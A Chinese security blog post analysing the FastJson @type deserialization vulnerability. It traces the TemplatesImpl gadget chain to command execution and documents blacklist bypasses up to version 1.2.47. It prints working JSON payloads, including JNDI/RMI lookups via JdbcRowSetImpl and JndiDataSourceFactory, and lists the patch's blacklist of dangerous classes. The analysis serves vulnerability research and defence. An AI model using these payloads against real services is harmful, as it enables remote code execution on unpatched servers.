FastJson 反序列化学习

2019-09-04 22:17:41 admin

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,微微安全以及文章作者不为此承担任何责任。

1.分析过程

1.1 什么是fastjson

Fastjson是一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。最早的通告在这里。而fastjson的用法可以先看看下面这个例子。

先定义一个User类

package com.l1nk3r.fastjson;

public class User {
private String name;
private int age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

package com.l1nk3r.fastjson;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.l1nk3r.fastjson.User;
public class Testfastjson {

public static void main(String[] args){
Map<String, Object> map = new HashMap<String, Object>();
map.put("key1","One");
map.put("key2", "Two");
String mapJson = JSON.toJSONString(map);
System.out.println(mapJson);

User user1 = new User();
user1.setUsername("xiaoming");
user1.setSex("male");
System.out.println("obj name:"+user1.getClass().getName());

//序列化
String serializedStr = JSON.toJSONString(user1);
System.out.println("serializedStr="+serializedStr);

String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);

//通过parse方法进行反序列化
User user2 = (User)JSON.parse(serializedStr1);
System.out.println(user2.getUsername());
System.out.println();

//通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
Object obj = JSON.parseObject(serializedStr1);
System.out.println(obj);
System.out.println("obj name:"+obj.getClass().getName()+"\n");

//通过这种方式返回的是一个相应的类对象
Object obj1 = JSON.parseObject(serializedStr1,Object.class);
System.out.println(obj1);
System.out.println("obj1 name:"+obj1.getClass().getName());

}
}

结果如下所示:

{"key1":"One","key2":"Two"}
obj name:com.l1nk3r.fastjson.User
serializedStr={"Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
serializedStr1={"@type":"com.l1nk3r.fastjson.User","Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
xiaoming

{"Username":"xiaoming","Sex":"male","sex":"male","username":"xiaoming"}
obj name:com.alibaba.fastjson.JSONObject

com.l1nk3r.fastjson.User@1b9e1916
obj1 name:com.l1nk3r.fastjson.User

FastJson利用 toJSONString 方法来序列化对象,而反序列化还原回 Object 的方法,主要的API有两个,分别是 JSON.parseObject 和 JSON.parse ,最主要的区别就是前者返回的是 JSONObject 而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject 来获取数据。

我们可以看到使用 SerializerFeature.WriteClassName 时会在序列化中写入当前的type, @type 可以指定反序列化任意类,调用其set,get,is方法。而问题恰恰出现在了这个特性,我们可以配合一些存在问题的类,然后继续操作,造成RCE的问题,我们可以看下面这个例子通过指定 @type ,成功获取了相关数据。


package com.l1nk3r.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Test {
public static void main(String[] args) {
String myJSON = "{\"@type\":\"User\",\"Username\":\"l1nk3r\",\"Sex\":\"male\"}";
JSONObject u3 = JSON.parseObject(myJSON);
System.out.println("result => " + u3.get("Username"));
}
}

结果

result => l1nk3r

1.22 fastjason

之前关于这个漏洞流传的poc基本上都是

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImp 这个类。而这个类在7u21的反序列化 gadget 过程中,也出现过,这样来看还是需要详细跟一下,在反序列化,下面这行代码位置下个断点。

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

然后便进入com.alibaba.fastjson.JSON这个类中,并使用parser.parseObjec来解析我们传入的数据。

继续跟进,来到了com.alibaba.fastjson.parser.DefaultJSONParser这个类中,调用了derializer.deserialze来解析传入的数据。

由于 deserialze 是一个接口,前面的序列化方法类是

com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze 。

因此这里自然继续跟入之后会来到这个

com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer类中进行相关操作,而这里有这么一段代码。

else {
return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName);
}

这段代码又重新回到了 com.alibaba.fastjson.parser.DefaultJSONParser 这个类中,并且调用parseObject方法来处理我们传入的数据。

这个 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject 有说法,我们可以慢慢来看。

首先我们传入的 text 的值是我们构造好的 payload ,而token是等于12,根据这里if选择,理论上应该是要进入值为12的选择进行处理,所里这种情况下,自然就进入了最后一个else进行了处理。这里开始会针对我们text里面的特殊符号进行一个处理判断( lexer.skipWhitespace ),而 skipWhitespace 实现就是下面这部分代码。

public final void skipWhitespace() {
while(true) {
while(true) {
if (this.ch <= '/') {
if (this.ch == ' ' || this.ch == '\r' || this.ch == '\n' || this.ch == '\t' || this.ch == '\f' || this.ch == '\b') {
this.next();
continue;
}

if (this.ch == '/') {
this.skipComment();
continue;
}
}

return;

所以这里的ch结果是",于是便进入下图代码中进行处理。

而部分代码需要关注的就是这一行。

在 com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol 其实也是一个根据特殊符号进行选择,然后进入相应的位置进行处理的,我们可以看到当前的chLocal是@符号,而quote是"符号。


由于我们的@type是通过两个"闭合的,这部分while循环一直遍历到@type后面的"时候,自然就进入这个相等的if进行处理。

经过这一系列的处理之后,com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol的返回结果自然是@type。

也就是我们最开始时候key的结果是@type,而继续往下自然进入到了这里。

而根据前面的分析,我们知道scanSymbol方法会遍历"内的数据,当数据一样的时候,就会直接放回value的结果,经过处理之后,这里的clazz的结果自然是我们需要的那个rce的触发类。

我们前面说过由于 deserialze 是一个接口,前面的序列化方法类是

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze ,而传入的clazz正是我们想要实例化的一个利用类。

我们详细看看com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze是如何处理的,进来之后,token是16,而text正是我们传入的值。

经过处理这里会调用

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField方法,

boolean match = this.parseField(parser, key, object, type, fieldValues);

跟进这个方法,这个方法首先会调用smartMatch方法来处理我们传入的key值,而这里的key值就是我们json中的那些字段,比如:_outputProperties、_name、_bytecodes等。

这个方法的主要作用是进行一些『智能匹配』,方便后续获取对应变量的getter和setter。调用后这个方法会去掉字符串中的-、删除开头的下划线等,所以当我们传入了_bytecodes的时候,实际上就给处理成了bytecodes,并返回对应的FieldDeserializer对象。

而经过处理之后,这里的parseField也是一个接口,根据前面流程,这里的parseField进入的是会调用com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField方法来进行处理。

lexer.nextTokenWithColon(((FieldDeserializer)fieldDeserializer).getFastMatchToken());
((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);
return true;

这里 fieldValueDeserilizer 的对象是 ObjectArrayCodec ,所以这里自然会进入 com.alibaba.fastjson.serializer.ObjectArrayCodec#parseArray 

而在com.alibaba.fastjson.serializer.ObjectArrayCodec#parseArray中,所以这里又会调用 com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze 。

而在fastjson在处理[B类型的数组时,会调用lexer.bytesValue(),其中的lexer对应的内容就是JSONScanner。

而这个bytesValue()方法会自动帮我们执行一次base64解码。

public byte[] bytesValue() {
return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}

然后最后会在 com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer 中,通过setValue方式将value赋值给我们要执行的特殊类。

当处理_OutputProperties时也先会将_去掉,然后调用该属性的get方法:getOutputProperties()。

然后回到用method.invoke通过反射的方式实例化我们的要调用的类

我们可以看这部分的反射调用链,很明显了。

在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties 中调用了 newTransformer 

public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

继续跟进 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer 中调用了 getTransletInstance 

public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

首先在

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance 方法中_name不能为空,然后这里会调用 defineTransletClassess 来处理传入的class对象。

在 defineTransletClassess 中,这里会调用 defineClass 进行处理,我们可以看到这里解析的class的name正是我们POC中构造的com.l1nk3r.fastjson.Test类。

然后会判断这个类的父类是不是

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 。

所以这也是为什么我们要在POC构造的过程中继承

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。

然后会调用 newInstance ,实力化我们的传入解析的那个class对象。

然后自然就可以rce了。

这是一个调用链。

exec:347, Runtime (java.lang)
<init>:13, Test (com.l1nk3r.fastjson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:80, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:722, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:568, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:187, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:183, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
test_autoTypeDeny:44, Poc (com.l1nk3r.fastjson)
main:50, Poc (com.l1nk3r.fastjson)

P0C

@type

指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中,_bytecodes与_name都是私有属性,所以要想反序列化这两个,需要在parseObject()时设置Feature.SupportNonPublicField

_bytecodes

是我们把恶意类的.class文件二进制格式进行base64编码后得到的字符串

_outputProperties

漏洞利用链的关键会调用其参数的getOutputProperties方法 导致命令执行

_tfactory:{}

在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值

_bytecodes而生成类的实例,再者因为传进去的参数都会经过 key.replaceAll("\_", ""); 处理,所以使用_OutputProperties参数最终会调用getOutputProperties()方法进而触发后面的利用链。


关于FastJson的解析过程分析

package com.l1nk3r.fastjson;

import java.util.Properties;

public class Person {
public String name;
private int age;
private Boolean sex;
private Properties prop;

public Person(){
System.out.println("User()");
}
public void setAge(int age){
System.out.println("setAge()");
this.age = age;
}

public Boolean getSex(){
System.out.println("getSex()");
return this.sex;
}
public Properties getProp(){
System.out.println("getProp()");
return this.prop;
}
public String toString() {
String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
}

package com.l1nk3r.fastjson;

import com.alibaba.fastjson.JSON;

public class TestPerson {
public static void main(String[] args){
String eneity3 = "{\"@type\":\"com.l1nk3r.fastjson.Person\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
Object obj = JSON.parseObject(eneity3,Person.class);
System.out.println(obj);
}
}

输出结果如下:

User()
setAge()
getProp()
[User Object] name=Tom, age=13, prop=null, sex=null

我们可以看到

public修饰的name被序列化
private修饰的age 反序列化成功  setter函数被调用        
private修饰的sex 未被反序列化  getter函数没有被调用        
private修饰的prop 没有被反序列化 但是getter函数被调用

这里的sex与prop都为private变量,且都无setter方法,但是prop的getter函数被调用,sex的没有,所以我们看看源码,核心在 com.alibaba.fastjson.util.JavaBeanInfo ,该类会区分情况进行处理,会将满足条件的方法添加到fieldList列表当中供后面的反序列化操作进行调用。

满足条件的setter:

1.方法名长度大于4且以set开头
2.非静态函数        
3.返回类型为void或当前类
4.参数个数为1个

满足条件的getter:

1.方法名长度大于等于4        
2.非静态方法
3.以get开头且第4个字母为大写
4.无参数
5.返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

我们上面例子中的getProp()返回类型为Properties,而Properties extends Hashtable,而Hashtable implements Map,所以getProp()会被调用而getsex()没有,那么当该get方法中存在一些危险操作的调用链,就会造成任意命令执行。

1.23 补丁

补丁中增加了checkAutoType构造方法,并且限制了黑名单和白名单。

黑名单主要由这些

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils,
org.apache.commons.collections.Transformer,
org.apache.commons.collections.functors,
org.apache.commons.collections4.comparators,
org.apache.commons.fileupload,
org.apache.myfaces.context.servlet,
org.apache.tomcat,
org.apache.wicket.util,
org.codehaus.groovy.runtime,
org.hibernate,
org.jboss,
org.mozilla.javascript,
org.python.core,org.springframework

1.24 小结

关于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImp这个利用链,默认情况下fastjson只会反序列化public的方法和属性,而我们构造的PoC中有private的成员变量_bytecodes和_name,为了给这些变量赋值,则必须要服务端开启了SupportNonPublicField功能。

总结下就是Fastjson反序列化jsonStr时:

parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()                            
parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()                    
parseObject(jsonStr,*.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()

1.25 几种bypass方法

v1.2.41

方法:

Lcom.sun.rowset.JdbcRowSetImpl;

详细看看

首先经过补丁修复之后,会在 com.alibaba.fastjson.parser.DefaultJSONParser 中调用 checkAutoType 来检查我们传入的类是不是在黑名单中,我们构造的这个类自然不在这个黑名单中,所以自然就过了这部分的检测。

上面一系列流程跟完之后,会进入到这么一行代码

if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

而loadClass方法的作用是将开头的L和结尾的;去除。

然后自然就返回了我们想要的对象。

然后核心的处理流程其实和之前的实例化这个类的过程一样。

setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:742, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:1240, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:370, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1335, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1301, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
testJdbcRowSetImpl:17, OtherPOC (com.l1nk3r.fastjson)
main:9, OtherPOC (com.l1nk3r.fastjson)

这里我关心的是为什么com.sun.rowset.JdbcRowSetImpl这个方法能够导致触发RCE的问题,因为传入dataSourceName,先调用其setter方法。

传入了autoCommit:true,所以反序列化时会调用setAutoCommit()。

跟进connect方法,这里的getDataSoureceName返回的是dataSource,因此结果自然是我们传入的dataSource的值。

V1.2.42

补丁

补丁中采用黑名单的方式来deny类。

然后移除开头的L和结尾的;

绕过

LLcom.sun.rowset.JdbcRowSetImpl;;

V1.2.43

补丁

补丁中遇到typeName为LL…;;,便会抛出异常然后退出。

绕过

[com.sun.rowset.JdbcRowSetImpl

因为我们最早看到loadclass会去掉的不仅仅是L和;,还有[,但是实际测试下来无法成功。

v1.2.45

POC:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

原因:

黑名单绕过

补丁:

黑名单扩展

v1.2.47

我们都知道fastjson会使用 checkAutoType 方法来检测@type中携带的类,而这次bypass看到payload主要用到的是java.lang.class,在 com/alibaba/fastjson/parser/DefaultJSONParser 方法中调用checkAutoType方法来进行检测,这里传入的类就是我们用到的java.lang.class。

而这里用到的java.lang.class并不在我们的黑名单类中,因此这里的黑名单检测是通过的,然后就和之前流程一样调用 deserializer.deserialze 来处理我们传入的clazz,也就是java.lang.class。而这里对应的deserialze方法和之前的触发稍微有一点点区别,这里的deserialze用的是

com.alibaba.fastjson.serializer.MiscCodec#deserialze

进入到 com.alibaba.fastjson.serializer.MiscCodec#deserialze ,这里会调用

com.alibaba.fastjson.parser.DefaultJSONParser#parser 方法来取出我们传入的恶意类

com.sun.rowset.JdbcRowSetImpl

然后就把这个东西丢给 objVal ,然后进入一系列的if判断。

其中这里有一段判断,如果解析出来的clazz为java.lang.Class,这里就会调用

com.alibaba.fastjson.util.TypeUtils#loadClass方法来加载我们传入的strVal,而这里的strVal正是要调用的恶意类com.sun.rowset.JdbcRowSetImpl。


而跟进 loadClass 方法,这里将我们的恶意类com.sun.rowset.JdbcRowSetImpl放到的 mapping 中。

我们看到放到mapping之前有个if判断,如果cache为true的情况下,就把这个东西放到mapping中,而这里的cache实际上默认就是为true的。

public static Class<?> loadClass(String className, ClassLoader classLoader) {
   return loadClass(className, classLoader, true);
}

而这里再回到 checkAutoType 中,我们再看看这个名单检测,截取一下部分代码,理一下思路,如果我们当前mapping中存在恶意类,那么这里会从mapping中取出恶意类赋值给clazz,然后因为9-14行代码中clazz不为空,所以这里直接返回了恶意类。

当然最后的结果也是验证了猜想,这里直接就返回恶意类com.sun.rowset.JdbcRowSetImpl。

然后后面就和之前的利用方法一样了。

补丁

1.47和1.48的差别首先将loadClass中的默认true修改成为了fasle。

然后就是增加更多的黑名单。

2.小结

目前来看fastjson的@type能够指定实例化对象是它的一个特性,这个特性可能存在一系列的风险。随着Java生态不断引入第三方组件的情况下,就有个可能出现新的绕过。从业务上来说我觉得这个功能可能是多余的,一般对于业务来说,你能提供json解析对象获取即可,我不太清楚开发者设计这个功能的初衷在哪里。

防御方案

1、FastJson升级到最新1.2.58版本;

2、采用默认的关闭autotype

3.题外话

在翻github的提交记录的时候我发现了一个很神奇的东西,链接在这里

public void test_0() throws Exception {
       String payload="{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
       String payload_2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:8889/xxx\",\"autoCommit\":true}";
...
           try {
               JSON.parseObject(payload);
           } catch (Exception e) {
               error = e;
           }
       }
...
           try {
               JSON.parseObject(payload_2);
           } catch (Exception e) {
               error2 = e;
           }
...

   public void test_dns() throws Exception {
       String f2 = "{\"@type\":\"java.net.InetAddress\",\"val\":\"baidu.com\"}";

       Throwable error = null;
       try {
           JSON.parse(f2, config);
       } catch (JSONException ex) {
           error = ex;
       }
       assertNotNull(error);
   }

   public void test_3() throws Exception {
       String f2 = "{\"@type\":\"java.net.InetAddress\",\"val\":\"baidu.com\"}";

       Throwable error = null;
       try {
           JSON.parse(f2, config);
       } catch (JSONException ex) {
           error = ex;
       }
       assertNotNull(error);
   }

我们看到fastjson在测试修复的时候,将一些测试payload携带了进去,从commit记录来看去年应该就修复了。但是怎么说呢,这些信息留在这里始终是不好的。

服务热线

17884544032

公司地址

安徽省合肥市蜀山区鑫鹏大厦

作息时间

周一至周五 9:00-18:00